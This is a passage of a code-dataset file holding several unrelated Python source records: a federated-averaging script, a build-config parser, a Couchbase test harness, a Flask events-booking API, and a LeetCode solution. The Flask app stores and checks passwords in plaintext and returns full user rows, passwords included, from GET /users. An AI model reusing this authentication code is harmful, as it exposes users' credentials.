tff_model_fn():\n \"\"\"Constructs a fully initialized model for use in federated averaging.\"\"\"\n keras_model = create_original_fedavg_cnn_model(only_digits=True)\n\n loss = tf.keras.losses.SparseCategoricalCrossentropy()\n\n return utils.KerasModelWrapper(keras_model, test_data.element_spec, loss)\n\n iterative_process = fedavg.build_federated_averaging_process(\n model_fn=tff_model_fn, \n model_input_spec=test_data.element_spec,\n server_optimizer_fn=server_optimizer_fn, \n client_optimizer_fn=client_optimizer_fn)\n\n server_state = iterative_process.initialize()\n \n client_states = {}\n \n # Initialize client states for all clients\n for i, client_id in enumerate(train_data.client_ids):\n client_optimizer_options = utils.OptimizerOptions()\n\n client_states[client_id] = fedavg_client.ClientState(\n client_serial=i,\n num_processed=0,\n optimizer_options=client_optimizer_options)\n\n metric = tf.keras.metrics.SparseCategoricalAccuracy(name='test_accuracy')\n\n model = tff_model_fn()\n\n for round_num in range(FLAGS.total_rounds):\n\n sampled_client_serials = np.random.choice(\n len(train_data.client_ids),\n size=FLAGS.train_clients_per_round,\n replace=False)\n\n # Generate client datasets\n sampled_train_data = []\n sampled_client_states = []\n \n for client_serial in sampled_client_serials:\n client_data = train_data.create_tf_dataset_for_client(train_data.client_ids[client_serial])\n \n # Check the client lengths and put appropriate number of\n # training steps into OptimizerOptions\n # Apparently iterating through each of them is \n # the only way to get the lengths of tf.data.Dataset\n # This is not very cool tbh.\n client_data_length = 0\n \n for _ in client_data:\n client_data_length = client_data_length + 1\n\n client_train_steps = math.ceil(client_data_length / FLAGS.batch_size)\n \n client_states[train_data.client_ids[client_serial]].optimizer_options.num_train_steps = client_train_steps\n\n sampled_train_data.append(client_data)\n sampled_client_states.append(client_states[train_data.client_ids[client_serial]])\n\n server_state, new_client_states, train_metrics = iterative_process.next(\n server_state, sampled_client_states, sampled_train_data)\n\n print(f'Round {round_num} training loss: {train_metrics}')\n print()\n \n # Update client states\n print(\"Updating client states.\")\n\n for state in new_client_states:\n client_states[train_data.client_ids[state.client_serial]] = state\n\n print()\n\n if round_num % FLAGS.rounds_per_eval == 0:\n model.from_weights(server_state.model_weights)\n \n accuracy = utils.keras_evaluate(model.keras_model, test_data, metric)\n\n print(f'Round {round_num} validation accuracy: {accuracy * 100.0}')\n print()\n\n\nif __name__ == '__main__':\n app.run(main)\n","sub_path":"sanity_check_fedavg.py","file_name":"sanity_check_fedavg.py","file_ext":"py","file_size_in_byte":9234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"103704556","text":"\"\"\"\nThis script parses values from config.json for use in the build environment as value macros.\nThe order of values in the source json file is expected to be maintained.\n\"\"\"\nimport json\nimport re\nimport sys\nfrom collections import OrderedDict\n\n\n# Python 2/3 compatibility\nSTR_TYPE = bytes if (sys.version_info > (3, 0)) else unicode\n\n\ndef parseConfig(d, prefix=''):\n if prefix != '':\n prefix += '_'\n result = []\n for key in d:\n t = type(d[key])\n if t in (dict, OrderedDict):\n result.extend(parseConfig(d[key], key))\n continue\n elif t in (str, STR_TYPE):\n if d[key] == \"\":\n result.append(str(prefix+key))\n continue\n elif d[key][0] == '`' and d[key][:1] == '`':\n val = re.escape(d[key][1:-1])\n else:\n val = \"\\\\\\\"%s\\\\\\\"\" % d[key]\n elif t is bool:\n val = str(d[key]).lower()\n else:\n val = d[key]\n result.append((str(prefix+key), val))\n return result\n\n\ncfg = []\nwith open('config.json') as f:\n cfg.extend(parseConfig(json.load(f, object_pairs_hook=OrderedDict)))\n\n\nif cfg:\n output = []\n for item in cfg:\n t = type(item)\n if t is tuple:\n output.append(\"-D%s=%s\" % item)\n elif t is str:\n output.append(\"-D%s\" % item)\n else:\n pass\n print(' '.join(output))\n","sub_path":"inject-config.py","file_name":"inject-config.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"279600572","text":"# @author Couchbase \n# @copyright 2020 Couchbase, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nfrom abc import ABC, abstractmethod\nimport traceback\nfrom collections import namedtuple\nimport requests\n\n\nCluster = namedtuple(\"Cluster\", ['urls', 'processes', 'auth'])\nClusterRequirements = namedtuple(\"ClusterRequirements\", ['num_nodes'])\n\n\ndef run_testset(testset_class, test_names, available_clusters):\n errors = []\n executed = 0\n print(f\"\\nStarting testset: {testset_class.__name__}...\")\n\n (requirements, err) = \\\n safe_test_function_call(testset_class, 'requirements', [])\n\n if err is not None:\n return (0, [err])\n\n clusters = [c for c in available_clusters\n if cluster_matches_requirements(c, requirements)]\n\n if len(clusters) == 0:\n msg = \"Failed to find a cluster that fits test \"\\\n f\"requirements ({requirements})\"\n print(msg)\n return (0, [('preparation', msg)])\n\n testset_instance = testset_class()\n\n _, err = safe_test_function_call(testset_instance, 'setup', [clusters[0]])\n\n if err is not None:\n return (0, [err])\n\n try:\n for test in test_names:\n executed += 1\n _, err = safe_test_function_call(testset_instance, test,\n [clusters[0]], verbose=True)\n if err is not None:\n errors.append(err)\n finally:\n _, err = safe_test_function_call(testset_instance, 'teardown',\n [clusters[0]])\n if err is not None:\n errors.append(err)\n\n return (executed, errors)\n\n\ndef safe_test_function_call(testset, testfunction, args, verbose=False):\n res = None\n error = None\n testname = \"\"\n if hasattr(testset, '__name__'):\n testname = f\"{testset.__name__}.{testfunction}\"\n else:\n testname = f\"{type(testset).__name__}.{testfunction}\"\n if verbose: print(f\" {testname}... \", end = '')\n try:\n res = getattr(testset, testfunction)(*args)\n if verbose: print(\"succ\")\n except Exception as e:\n if verbose:\n print(f\"failed ({e})\")\n else:\n print(f\" {testname} failed ({e})\")\n traceback.print_exc()\n error = (testname, e)\n return (res, error)\n\n\ndef cluster_matches_requirements(cluster, requirements):\n return requirements.num_nodes == len(cluster.urls)\n\n\nclass BaseTestSet(ABC):\n @staticmethod\n @abstractmethod\n def requirements():\n \"\"\"\n Executed before any test in the testset.\n Returns requirements for cluster needed for testset\n\n \"\"\"\n raise NotImplementedError()\n\n @abstractmethod\n def setup(self, cluster):\n \"\"\"\n Executed before any test in the testset.\n\n \"\"\"\n raise NotImplementedError()\n\n @abstractmethod\n def teardown(self, cluster):\n \"\"\"\n Executed when all tests are finished.\n\n \"\"\"\n raise NotImplementedError()\n","sub_path":"api_tests/testlib.py","file_name":"testlib.py","file_ext":"py","file_size_in_byte":3517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"486397646","text":"import config\nimport auth\nimport datetime\nimport utilities\n\nfrom flask import current_app, Flask, redirect, url_for, jsonify, request, abort\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import text\nfrom flask_cors import CORS\n\n\napp = Flask(__name__) #creating an instance of the Flask class and assigning it to the app variable\nCORS(app) # lets the UI (JavaScript) make requests from flask\napp.config.from_object(config) # tells flask the project ID and cloud SQL details\ndb = SQLAlchemy(app) # allows us to use SQL queries\n\n\n@app.route(\"/\", methods=['GET'])\ndef index():\n \"\"\"\n Index route, returns general information about the flask app\n :return:\n \"\"\"\n return jsonify({\"Events Platform v1\": \"APAD Project - Sasha Opela & Sam Bell\"})\n\n\ndef email_pass_validation(email, password):\n \"\"\"\n Makes sure email and password from user are correct\n :param email:\n :param password:\n :return: user dict\n \"\"\"\n email = email.lower()\n #Select all from users when email entered matches email in table\n query = db.session.execute(\"SELECT * FROM users WHERE lower(email) = :email\", {'email': email})\n user = query.fetchone() #fetching one user\n #if there is no such user, abort\n if user is None:\n abort(401, 'Incorrect login information')\n #else set user dict\n else:\n user = dict(user)\n #if user password and email matches what is in table return user\n if user['password'] == password and user['email'] == email:\n return user\n #else, abort\n else:\n abort(401, 'Incorrect login information')\n\n\ndef store_token(user, token):\n \"\"\"\n Stores a new user token in the user token label\n :param user: dict of user from users table\n :param token: encoded token\n :return:\n \"\"\"\n #when the token expires\n expires = datetime.date.today() + datetime.timedelta(days=1)\n #storing user id, token, expiration in user_tokens table\n db.session.execute(\n \"INSERT INTO user_tokens (user_id, token, expires) VALUES (:user_id, :token, :expires);\",\n {'user_id': user['user_id'], 'token': token, 'expires': expires})\n db.session.commit()\n\n\ndef validate_token(header):\n \"\"\"\n validates that the token exists and isn't expired\n :param header:\n :return:\n \"\"\"\n# split where there is a space in the String - returns a list,( index 0 is Bearer),only return index 1 the token\n query = db.session.execute(\"SELECT ut.* FROM user_tokens ut WHERE ut.token = :token ORDER BY ut.date_created DESC LIMIT 1\", {'token': header.split(' ')[1]})\n token_dict = query.fetchone() #fetching one token\n #if there is no token, abort\n if token_dict is None:\n abort(401, 'Token Not Exist')\n #else set token dict\n else:\n token_dict = dict(token_dict)\n #if the token expiration date is less than today's date, it has expired, abort\n if token_dict['expires'] < datetime.date.today():\n raise Exception('Expired token')\n decoded = auth.decode_token(header)\n return decoded # user dict\n\n\ndef is_admin(user):\n \"\"\"\n Returns True/False depending on if user dict is an administrator\n :param user:\n :return:\n \"\"\"\n if user['administrator'] == 1:\n return True\n else:\n raise Exception('Not an admin')\n\n\n@app.route(\"//availability\", methods=['GET'])\ndef get_venue_availability(venueId):\n \"\"\"\n Generates and returns a list of timeslots for a venue for events to be created from\n :param venueId:\n :return:\n \"\"\"\n try:\n # venueId is from the URL\n # when a query param is missing, it's None\n # when a query param is just var=, it's an empty string\n validate_token(request.headers.get('Authorization'))\n day = request.args.get('day')\n\n #day is needed for query\n if day == '' or day is None:\n abort(400, 'day needed')\n #Select all from events where day and venue_id match\n events_query = db.session.execute(\"SELECT e.* FROM events e WHERE e.event_day = :day and e.venue_id = :venue_id\", {'day': day, 'venue_id': venueId})\n events = events_query.fetchall() #fetch all events\n #Select all from venues where venue_id matches\n venue_query = db.session.execute(\"SELECT v.* FROM venues v WHERE v.venue_id = :venueId\", {'venueId': venueId})\n venue = dict(venue_query.fetchone()) #fetch one venue\n\n # strptime parses a string \"time\" to create a new datetime object\n opens = datetime.datetime.strptime(utilities.convert_timedelta_to_string(venue['open_time'], '%H:%M:%S'), '%H:%M:%S')\n closes = datetime.datetime.strptime(utilities.convert_timedelta_to_string(venue['close_time'], '%H:%M:%S'), '%H:%M:%S')\n datetime_difference = (closes - opens)\n hours_diff = datetime_difference.seconds // 3600\n slots = []\n\n # create time slots to be sent to UI\n for i in range(hours_diff):\n time_dict = {\n \"value\": opens.strftime('%H:%M:%S'), # what can be sent to server side code\n \"label\": opens.strftime('%-I:%M %p'), # what can be displayed in the UI\n \"reserved\": False\n }\n slot_begins = opens\n slot_reserved = False\n\n for e in events:\n event_begins = datetime.datetime.strptime(utilities.convert_timedelta_to_string(e['start_time'], '%H:%M:%S'), '%H:%M:%S')\n if (event_begins == slot_begins):\n # time_dict['reserved'] = True\n slot_reserved = True\n else:\n pass\n if slot_reserved is False:\n slots.append(time_dict)\n\n opens += datetime.timedelta(hours=1)\n return jsonify(slots), 200\n except Exception as e:\n return jsonify({'message': str(e)}), 500\n\n@app.route(\"/login\", methods=['POST'])\ndef create_token():\n \"\"\"\n validates email and password information from the user and creates a JWT/token\n :return: one dict containing the token and a (sub) user dict\n \"\"\"\n try:\n content = request.json #makes dictionary out of json request\n user = email_pass_validation(content['email'], content['password']) #calling validation to make sure email and password will work\n if 'password' in user:\n del user['password']\n\n token = auth.create_token(user)\n store_token(user, token)\n #https://github.com/jpadilla/pyjwt/issues/391 why to do UTF-8 decode here\n #turns the byte token into the correct String version so it can be used in the jsonify\n response_dict = {'token': token.decode('UTF-8'), 'user': user}\n return jsonify(response_dict), 201\n except Exception as e:\n return jsonify({\"message\": \"error logging in\"}), 401\n\n@app.route(\"/authenticate\", methods=['GET'])\ndef get_user():\n \"\"\"\n Returns the user dict contained in a valid PyJWT token\n :return:\n \"\"\"\n try:\n user = validate_token(request.headers.get('Authorization'))\n return jsonify(user), 200\n except Exception as e:\n return jsonify({\"message\":str(e)}), 401\n\n#Returning a list of users from the database\n@app.route(\"/users\", methods=['GET'])\ndef get_users():\n \"\"\"\n Returns a list of users from the users table\n :return:\n \"\"\"\n try:\n validate_token(request.headers.get('Authorization'))\n query = db.session.execute('SELECT * FROM users')\n results = query.fetchall() # returns a list\n results_dicts = []\n for r in results:\n results_dicts.append(dict(r))\n return jsonify(results_dicts)\n except Exception as e:\n return jsonify({\"message\": \"Error getting users\"}), 500\n\n#Adding a user to the database\n@app.route(\"/users\", methods=['POST'])\ndef add_user():\n \"\"\"\n Creates a new user\n :return:\n \"\"\"\n try:\n #validate token\n user = validate_token(request.headers.get('Authorization'))\n #if user is not admin, they do not have persmission to add user\n is_admin(user)\n\n content = request.json # turns the json request body into a dict :D\n #insert name, email, password, and if user is admin or not into users table\n db.session.execute('''INSERT INTO users\n (name, email, password, administrator)\n VALUES\n (:name, :email, :password, :administrator);''',\n {'name': content['name'], 'email': content['email'], 'password': content['password'], 'administrator': content['administrator']})\n db.session.commit()\n return jsonify({\"message\": \"User Added\"}), 201 # returns a 201 status code with a message\n except Exception as e:\n return jsonify({\"message\": \"Error Adding New User\"}), 500 # returns a 500 status code with a message\n\n\n#Returning a list of all the venues\n@app.route(\"/venues\", methods=['GET'])\ndef get_venues():\n \"\"\"\n Returns a list of venues\n :return:\n \"\"\"\n try:\n validate_token(request.headers.get('Authorization'))\n query = db.session.execute('SELECT * FROM venues')\n results = query.fetchall() # returns a list\n results_dicts = []\n for r in results:\n venue_dict = dict(r)\n venue_dict['open_time'] = utilities.convert_timedelta_to_string(venue_dict['open_time'], '%H:%M:%S')\n venue_dict['close_time'] = utilities.convert_timedelta_to_string(venue_dict['close_time'], '%H:%M:%S')\n results_dicts.append(venue_dict)\n return jsonify(results_dicts), 200\n except Exception as e:\n return jsonify({\"message\": \"Error getting list of venues \"}), 500\n\n\n@app.route(\"/venues\", methods=['POST'])\ndef create_venue():\n \"\"\"\n Creates a new venue\n :return:\n \"\"\"\n try:\n user = validate_token(request.headers.get('Authorization'))\n is_admin(user)\n content = request.json\n db.session.execute(\"INSERT INTO venues (name, address, activities) VALUES (:name, :address, :activities)\",\n {'name': content['name'], 'address': content['address'], 'activities': content['activities']})\n db.session.commit()\n return jsonify({\"message\": \"Venue Added\"}), 201 # returns a 201 status code with a message\n except Exception as e:\n return jsonify({\"message\": \"Error adding venue\"}), 500\n\n\n@app.route(\"/events\", methods=['GET'])\n#Returning events\ndef get_events():\n \"\"\"\n Returns a list of events. Uses some optional url query parameters\n :return:\n \"\"\"\n try:\n validate_token(request.headers.get('Authorization'))\n venue_id = request.args.get('venueId')\n day = request.args.get('date')\n time = request.args.get('time')\n events = []\n events_dict=[]\n #day, time, venueId provided\n if time is not None and venue_id is not None:\n query = db.session.execute('''SELECT \n e.*, \n v.name as venue_name, \n count(distinct p.participant_id) +sum(p.num_guests) as current_num_players \n FROM events e \n LEFT JOIN venues v ON v.venue_id = e.venue_id \n LEFT JOIN participants p on p.event_id = e.event_id \n WHERE e.start_time = :time AND e.event_day = :day and e.venue_id = :venueId\n GROUP BY e.event_id''',\n {'time': time, 'day': day, 'venueId': venue_id})\n events = query.fetchall()\n #day, time provided\n elif time is not None:\n query = db.session.execute('''SELECT e.*,\n v.name as venue_name, \n count(distinct p.participant_id) +sum(p.num_guests) as current_num_players \n FROM events e \n LEFT JOIN venues v ON v.venue_id = e.venue_id \n LEFT JOIN participants p on p.event_id = e.event_id \n WHERE e.event_day = :day and e.start_time = :time\n GROUP BY e.event_id''',\n {'day': day, 'time': time})\n events = query.fetchall()\n #day, venueid provided\n elif venue_id is not None:\n query = db.session.execute('''SELECT e.*,\n v.name as venue_name, \n count(distinct p.participant_id) +sum(p.num_guests) as current_num_players \n FROM events e \n LEFT JOIN venues v ON v.venue_id = e.venue_id \n LEFT JOIN participants p on p.event_id = e.event_id \n WHERE e.event_day = :day and e.venue_id = :venue_id\n GROUP BY e.event_id''',\n {'day': day, 'venue_id': venue_id})\n events = query.fetchall()\n #day provided\n else:\n query = db.session.execute('''SELECT e.*,\n v.name as venue_name, \n count(distinct p.participant_id) +sum(p.num_guests) as current_num_players \n FROM events e \n LEFT JOIN venues v ON v.venue_id = e.venue_id \n LEFT JOIN participants p on p.event_id = e.event_id \n WHERE e.event_day = :day\n GROUP BY e.event_id''',\n {'day': day})\n events = query.fetchall()\n\n if events is not None:\n events_dict = [{'event_id': e['event_id'],\n 'venue_name': e['venue_name'],\n 'event_day': e['event_day'].strftime('%m/%d/%Y'),\n 'start_time': utilities.convert_timedelta_to_string(e['start_time'], '%H:%M:%S'),\n 'name': e['name'],\n 'max_players': e['max_players'],\n 'created_by': e['created_by'],\n 'current_num_players': int(str(e['current_num_players']))}\n for e in events]\n\n return jsonify(events_dict), 200\n except Exception as e:\n return jsonify({\"message:\" \"Error getting event\"}), 500\n\n\n@app.route(\"/events\", methods=['POST'])\ndef create_event():\n \"\"\"\n Cretes an event! nothing complicated to see here :)\n :return:\n \"\"\"\n try:\n content = request.json\n venue_id = content['venue_id']\n start_time = content['start_time']\n day = content['event_day']\n user_id = content['created_by']\n event_name = content['name']\n max_players = content['max_players']\n participant_comment = content ['participant_comment']\n num_guests = content['num_guests']\n\n event_day = datetime.datetime.strptime(day, \"%Y-%m-%d\")\n #preventing users from creating an event on a past date\n if event_day.date() < datetime.datetime.today().date():\n raise Exception('Can\\'t create past events')\n #select all from venues where venueid matches\n venue_query = db.session.execute('''SELECT * \n FROM venues \n WHERE venue_id = :venue_id''',\n {'venue_id': venue_id})\n venue = venue_query.fetchone()\n\n event_start_time = datetime.datetime.strptime(start_time, '%H:%M:%S')\n venue_close_time = datetime.datetime.strptime(utilities.convert_timedelta_to_string(venue['close_time'], '%H:%M:%S'), '%H:%M:%S')\n venue_open_time = datetime.datetime.strptime(utilities.convert_timedelta_to_string(venue['open_time'], '%H:%M:%S'), '%H:%M:%S')\n #making sure event is being held during venue hours\n if event_start_time < venue_open_time or event_start_time >= venue_close_time:\n raise Exception(\"Your event is outside the venue hours\")\n #select all from events where venueid, event day, and start time match\n event_query = db.session.execute('''SELECT \n * FROM events \n WHERE venue_id = :venue_id \n and event_day = :event_day \n and start_time = :start_time''',\n {'venue_id': venue_id, 'event_day': event_day.strftime('%Y-%m-%d'), 'start_time': start_time})\n event = event_query.fetchone()\n #making sure there is not an event already at that time\n if event is not None:\n raise Exception(\"An event already exists for that time.\")\n\n # create the new event\n new_event_query = db.session.execute('''INSERT INTO events\n (created_by, event_day, start_time, venue_id, name, max_players) \n VALUES\n (:user_id, :event_day, :start_time, :venue_id, :event_name, :max_players)''',\n {'user_id': user_id, 'event_day': event_day.strftime('%Y-%m-%d'),\n 'start_time': start_time, 'venue_id': venue_id,\n 'event_name': event_name, 'max_players': max_players})\n db.session.commit()\n new_event_id = new_event_query.lastrowid\n add_user_to_event(new_event_id, user_id, participant_comment, num_guests) #calling add user to event for new event\n return jsonify(''), 201\n except Exception as e:\n return jsonify({\"message\": str(e)}), 500\n\n\n@app.route(\"/events/\", methods=['DELETE'])\ndef remove_event(event_id):\n \"\"\"\n Deleting an event :(\n :param event_id:\n :return:\n \"\"\"\n try:\n user = validate_token(request.headers.get('Authorization'))\n #select all from events where event id matches\n event_query = db.session.execute('''SELECT * FROM events WHERE event_id = :event_id''', {'event_id': event_id})\n event = dict(event_query.fetchone()) #fetch the event\n #user must have created event or be an admin to delete event\n if user['user_id'] == event['created_by'] or is_admin(user):\n db.session.execute('''DELETE FROM participants WHERE event_id = :event_id''', {'event_id': event_id}) #delete the participants from event\n db.session.commit()\n db.session.execute('''DELETE FROM events WHERE event_id = :event_id''', {'event_id': event_id}) #delete the event\n db.session.commit()\n else:\n raise Exception('You do not have permission to do that.')\n return jsonify({'message': 'deleted'}), 200\n except Exception as e:\n return jsonify({\"message\": str(e)}), 500\n\n@app.route(\"/venues/\", methods =['DELETE'])\n#remove the event\ndef remove_venue(venue_id):\n \"\"\"\n Deletes a venue + events at that venue + participants of those events.\n :param venue_id:\n :return:\n \"\"\"\n try:\n user = validate_token(request.headers.get('Authorization'))\n #select event id from events where venueid matches\n events_at_venue = db.session.execute('''SELECT event_id FROM events where venue_id = :venue_id''', {'venue_id':venue_id})\n events = events_at_venue.fetchall() #fetch all events at venue\n #user must be admin\n is_admin(user)\n for i in events:\n event = dict(i)\n #deleting participants out of events happening at the venue\n db.session.execute('''DELETE FROM participants WHERE event_id =:event_id''', {'event_id': event['event_id']})\n db.session.commit()\n #deleting the events that are happening at the venue\n db.session.execute('''DELETE FROM events WHERE venue_id =:venue_id''', {'venue_id': venue_id})\n db.session.commit()\n #deleting the venue\n db.session.execute('''DELETE FROM venues WHERE venue_id =:venue_id''', {'venue_id': venue_id})\n db.session.commit()\n return jsonify({'message': 'deleted'}), 200\n except Exception as e:\n return jsonify({\"message\": str(e)}), 500\n\n@app.route(\"/users/\", methods =['DELETE'])\ndef remove_user(user_id):\n \"\"\"\n This function deletes a user, their events, and removes them as a participant in the events they've joined\n :param user_id:\n :return:\n \"\"\"\n try:\n user = validate_token(request.headers.get('Authorization'))\n #select event id from events where created_by matches\n events_at_venue = db.session.execute('''SELECT event_id FROM events where created_by = :created_by''', {'created_by':user_id})\n events = events_at_venue.fetchall() #fetch all events\n #user must be admin\n is_admin(user)\n for i in events:\n event = dict(i)\n #deleting participants out of events that were created by the user or the user is a participant\n db.session.execute('''DELETE FROM participants WHERE event_id =:event_id or user_id = :user_id''', {'event_id': event['event_id'], 'user_id': user_id})\n db.session.commit()\n #deleting the events that were created by the user\n db.session.execute('''DELETE FROM events WHERE created_by =:created_by''', {'created_by': user_id})\n db.session.commit()\n # deleting the user\n db.session.execute('''DELETE FROM users WHERE user_id = :user_id''', {'user_id': user_id})\n db.session.commit()\n return jsonify({'message': 'deleted'}), 200\n except Exception as e:\n return jsonify({\"message\": str(e)}), 500\n\n@app.route(\"/events//leave\", methods =['DELETE'])\ndef remove_user_from_event(event_id):\n \"\"\"\n This function removes a user from an event\n :param event_Id:\n :return:\n \"\"\"\n try:\n user = validate_token(request.headers.get('Authorization'))\n db.session.execute('''DELETE FROM participants WHERE event_id = :event_id and user_id = :user_id''', {'event_id': event_id, 'user_id': user['user_id']})\n db.session.commit()\n return jsonify({'message': 'removed from event'}), 200\n except Exception as e:\n return jsonify({\"message\": str(e)}), 500\n\n@app.route(\"/register\", methods=['POST'])\n#if someone wants to register to be a user\ndef public_registration():\n \"\"\"\n Creates a new non-admin user\n :return:\n \"\"\"\n try:\n content = request.json\n name = content['name']\n password = content['password']\n email = content['email']\n #select email\n email_check_query = db.session.execute('''SELECT * FROM users WHERE lower(email) = lower(:email)''', {'email': email})\n #if email is already in use, raise exception\n if email_check_query.fetchone() is not None:\n raise Exception('Email already in use')\n #insert new user into users table\n db.session.execute('''INSERT INTO\n users (name, password, email)\n VALUES\n (:name, :password, :email)''',\n {'name': name, 'password': password, 'email': email})\n db.session.commit()\n return jsonify({\"message\": 'registered'}), 201\n except Exception as e:\n return jsonify({\"message\": str(e)}), 500\n\n\n@app.route(\"/my-events\", methods=['GET'])\n#getting events a participant has signed up for\ndef get_my_events():\n \"\"\"\n Returns list of events a user either made or joined based on the user_id in the authorization token\n :return:\n \"\"\"\n try:\n user = validate_token(request.headers.get('Authorization'))\n #selecting all from events and venue name from participants, left join where event id matches, left join where venue id matches, where userid matches dict\n events_query = db.session.execute('''SELECT e.*, v.name as venue_name\n FROM participants p\n LEFT JOIN events e on e.event_id = p.event_id\n LEFT JOIN venues v on v.venue_id = e.venue_id\n WHERE p.user_id = :user_id\n ORDER BY e.event_day DESC''',\n {'user_id': user['user_id']})\n\n events = [{\n 'event_id': e['event_id'],\n 'name': e['name'],\n 'created_by': e['created_by'],\n 'event_day': datetime.datetime.strftime(e['event_day'], '%m/%d/%Y'),\n 'start_time': utilities.convert_timedelta_to_string(e['start_time'], '%H:%M:%S'),\n 'venue_name': e['venue_name'],\n } for e in events_query.fetchall()]\n\n return jsonify(events), 200\n except Exception as e:\n return jsonify({\"message\": str(e)}), 500\n\n\n@app.route(\"/events//join\", methods=['POST'])\n#participant joining an event\ndef join_event(event_id):\n \"\"\"\n Join an event as a participant\n :param event_id:\n :return:\n \"\"\"\n try:\n user = validate_token(request.headers.get('Authorization'))\n content = request.json\n num_guests = content['num_guests']\n participant_comment = content['participant_comment']\n user_id = content['user_id']\n #makes sure an admin account is being used to add a user to an event even if ids dont match\n if user_id != user['user_id']:\n is_admin(user)\n #selecting all from participants where eventid and user id match\n p_query = db.session.execute('''SELECT\n p.*\n from participants p\n WHERE p.event_id = :event_id\n and p.user_id = :user_id''', {'event_id': event_id, 'user_id': user_id})\n participant = p_query.fetchone() #fetch the participant\n #if there is already a participant in event, raise an Exception\n if participant is not None:\n raise Exception('Already in game')\n #selecting the event\n query = db.session.execute('''SELECT e.*, \n (COUNT(distinct p.user_id) + SUM(p.num_guests)) AS num_players \n FROM events e \n LEFT JOIN participants p on p.event_id = e.event_id \n WHERE e.event_id = :event_id''', {'event_id': event_id})\n event = dict(query.fetchone()) #Will return a tuple of Nones if event does not exist\n if event['event_id'] is None:\n raise Exception('Event doesn\\'t exist')\n event['num_players']= int(str(event['num_players']))\n if event['max_players'] - event['num_players'] < 1 + num_guests:\n raise Exception('Not enough space')\n add_user_to_event(event_id, user_id, participant_comment, num_guests) #call add user to event\n return jsonify({'message': 'added'}), 201\n except Exception as e:\n return jsonify({'message': str(e)}), 500\n\n\ndef add_user_to_event(event_id,user_id,participant_comment,num_guests):\n \"\"\"\n Adds a user to an event as a participant\n :param event_id:\n :param user_id:\n :param participant_comment:\n :param num_guests:\n :return:\n \"\"\"\n db.session.execute('''INSERT INTO participants(event_id, user_id, comment, num_guests)\n VALUES (:event_id, :user_id, :comment, :num_guests)''',\n {'event_id':event_id, 'user_id': user_id, 'comment': participant_comment, 'num_guests': num_guests})\n db.session.commit()\n\n\n# this is Google code i never explored the use of\n# Add an error handler. This is useful for debugging the live application,\n# however, you should disable the output of the exception for production\n# applications.\n\n# @app.errorhandler(500)\n# def server_error(e):\n# return \"\"\"\n# An internal error occurred:
    {}
    \n# See logs for full stacktrace.\n# \"\"\".format(e), 500\n\n\n# This is only used when running locally. When running live, gunicorn runs\n# the application.\n\n\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=8080, debug=True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":29040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"120305461","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nCreated on 9/1/21 4:15 PM\n@Author : Justin Jiang\n@Email : jw_jiang@pku.edu.com\n\"\"\"\n\nfrom typing import List\n\n\nclass Solution:\n def removeElement(self, nums: List[int], val: int) -> int:\n if not nums or len(nums) == 0:\n return 0\n current, done = 0, 0\n while current < len(nums):\n if nums[current] != val:\n nums[done] = nums[current]\n done += 1\n current += 1\n return done\n\n\nif __name__ == '__main__':\n test = Solution()\n print(test.removeElement(nums=[3, 2, 2, 3], val=3))\n print(test.removeElement(nums=[0, 1, 2, 2, 3, 0, 4, 2], val=2))\n","sub_path":"20210901/27_removeElement.py","file_name":"27_removeElement.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"500643910","text":"# -*- coding: utf-8 -*-\n\nu\"\"\" Vistas para los compromisos de pago. \"\"\"\n\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# Author: Edinson E. Padrón U.\n# Email: epadron@4geeks.co\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n# Módulos ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nfrom apps.cuentas.mixins import MenuPSTMixin\nfrom apps.pagos import models\nfrom django.contrib.auth.decorators import login_required\nfrom django.core import paginator\nfrom django.core import serializers\nfrom django.core.urlresolvers import reverse_lazy\nfrom django.db import transaction\nfrom django.http import HttpResponse\nfrom django.views.decorators.http import require_http_methods\nfrom django.views.generic.base import TemplateView\nfrom json import loads as json_loads\nfrom registro.models import Pst\nfrom utils.views_helpers import json_response\nfrom django.conf import settings\nimport os\nimport platform\nimport locale\nfrom PyPDF2 import PdfFileWriter, PdfFileReader\ntry:\n from cStringIO import StringIO\nexcept ImportError:\n from StringIO import StringIO\nfrom reportlab.pdfgen import canvas\nfrom reportlab.lib.pagesizes import letter\nfrom reportlab.platypus import Paragraph, Table, TableStyle\nfrom reportlab.lib import colors\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n# init ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nif 'Windows' in platform.platform():\n locale.setlocale(locale.LC_ALL, 'esp_ven')\nelse:\n locale.setlocale(locale.LC_ALL, 'es_VE.UTF-8')\n# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n\n# Clases 